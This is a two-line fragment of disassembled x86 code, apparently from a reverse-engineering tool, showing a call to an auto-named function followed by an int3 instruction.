call fcn.100b60a0
int3